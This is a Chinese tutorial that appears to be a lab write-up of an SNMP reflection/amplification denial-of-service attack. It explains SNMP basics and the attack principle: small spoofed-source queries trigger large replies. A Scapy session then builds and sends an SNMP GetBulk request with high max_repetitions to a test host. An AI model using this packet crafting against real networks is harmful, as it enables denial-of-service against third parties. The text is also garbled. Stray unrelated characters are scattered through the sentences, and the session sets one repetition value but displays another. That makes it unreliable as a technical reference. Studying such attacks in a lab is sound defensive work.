1徽职、SNMP簡(jiǎn)單網(wǎng)絡(luò)管理協(xié)議
- 服務(wù)端口UDP161/162(服務(wù)端抓客戶端信息,客戶端port為161佩厚;客戶端trap方式主動(dòng)發(fā)往服務(wù)端姆钉,服務(wù)端port為162)
- 管理站(manager/客戶端)、被管理設(shè)備(agent/服務(wù)端)
- 管理信息數(shù)據(jù)庫(kù)(MIB)是一個(gè)信息存儲(chǔ)庫(kù)抄瓦,包含過(guò)管理代理中的有關(guān)配置和性能的數(shù)據(jù)潮瓶,按照不同分類,包含分屬不同組的多個(gè)數(shù)據(jù)對(duì)象
- 每一個(gè)節(jié)點(diǎn)都有一個(gè)對(duì)象標(biāo)識(shí)符(OID)唯一的標(biāo)識(shí)
- IETF定義標(biāo)準(zhǔn)的MIB庫(kù)/廠家自定義MIB庫(kù)
2钙姊、攻擊原理
- 請(qǐng)求流量小毯辅,查詢結(jié)果返回流量大
- 結(jié)合偽造源地址實(shí)現(xiàn)攻擊
3、測(cè)試
測(cè)試圖
- 首先在windows server2003上安裝snmp服務(wù)摸恍,命令行下輸入
appwiz.cpl
安裝snmp
配置snmp
使用scapy
>>> i=IP()
>>> i.dst="192.168.50.193"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.50.192
dst= 192.168.50.193 //目標(biāo)snmpclient地址
\options\
定義udp
>>> u=UDP()
>>> u.dport=161
>>> u.sport=161
>>> u.display()
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
定義snmp
>>> s.community="snmpclient“
>>> s.community="snmpclient"
>>> s.display()
###[ SNMP ]###
version= 0x1 <ASN1_INTEGER[1]>
community= 'snmpclient'
\PDU\
|###[ SNMPget ]###
| id= 0x0 <ASN1_INTEGER[0]>
| error= 0x0 <ASN1_INTEGER[0]>
| error_index= 0x0 <ASN1_INTEGER[0]>
| \varbindlist\
設(shè)置SNMP的bulk
>>> b=SNMPbulk()
>>> b.display()
###[ SNMPbulk ]###
id= 0x0 <ASN1_INTEGER[0]>
non_repeaters= 0x0 <ASN1_INTEGER[0]>
max_repetitions= 0x0 <ASN1_INTEGER[0]>
\varbindlist\
>>> b.max_repetitions=200 //重復(fù)發(fā)送200遍查詢
設(shè)置SNMP的PDU
>>> s.PDU=b
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]>>> s.PDU=b
>>> s.display()
###[ SNMP ]###
version= 0x1 <ASN1_INTEGER[1]>
community= 'snmpclient'
\PDU\
|###[ SNMPbulk ]###
| id= 0x0 <ASN1_INTEGER[0]>
| non_repeaters= 0x0 <ASN1_INTEGER[0]>
| max_repetitions= 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid= <ASN1_OID['.1.3.6.1.2.1.1']>
| | value= <ASN1_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
| | value= <ASN1_NULL[0]>
發(fā)送snmp包
>>> r=(i/u/s)
>>> sr1(r)
查看發(fā)送200遍的結(jié)果
snmp抓包結(jié)果